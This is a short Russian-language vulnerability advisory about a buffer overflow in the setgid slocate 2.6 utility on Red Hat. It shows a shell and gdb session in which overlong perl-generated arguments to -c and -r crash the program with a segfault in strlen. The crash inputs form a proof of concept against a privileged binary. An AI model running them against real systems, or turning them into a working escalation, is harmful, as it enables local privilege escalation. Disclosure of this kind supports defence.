Переполнение буфера в slocate

Уязвимость позволяет локальному атакующему выполнить произвольный код с повышенными привилегиями.

Пример:

[inkubus@USG audit]$ rpm -qf /usr/bin/slocate && ls -al /usr/bin/slocate
slocate-2.6-1
- -rwxr-sr-x    1 root     slocate     25020 Jun 25  2001 /usr/bin/slocate
[inkubus@USG audit]$ /usr/bin/slocate -c `perl -e "print 'A' x 1024"` -r `perl -e "print 'A'
x 1024"`
Segmentation fault
[inkubus@USG audit]$ gdb /usr/bin/slocate
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This GDB was configured as "i386-redhat-linux"...(no debugging symbols found)...
(gdb) r -c `perl -e "print 'A' x 1024"` -r `perl -e "print 'A' x 1024"`
Starting program: /usr/bin/slocate -c `perl -e "print 'A' x 1024"` -r `perl -e "print 'A' x
1024"`
warning: slocate: could not open database: /var/lib/slocate/slocate.db: Permission denied
warning: You need to run the 'updatedb' command (as root) to create the database.
warning: slocate: decode_db(): ÐßBÐßBØßBØßBàßBàßBèßBèßBðßBðßBøßBøßB: No such file or directory
warning: You need to run the 'updatedb' command (as root) to create the database.
(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x42080b1b in strlen () from /lib/i686/libc.so.6
(gdb)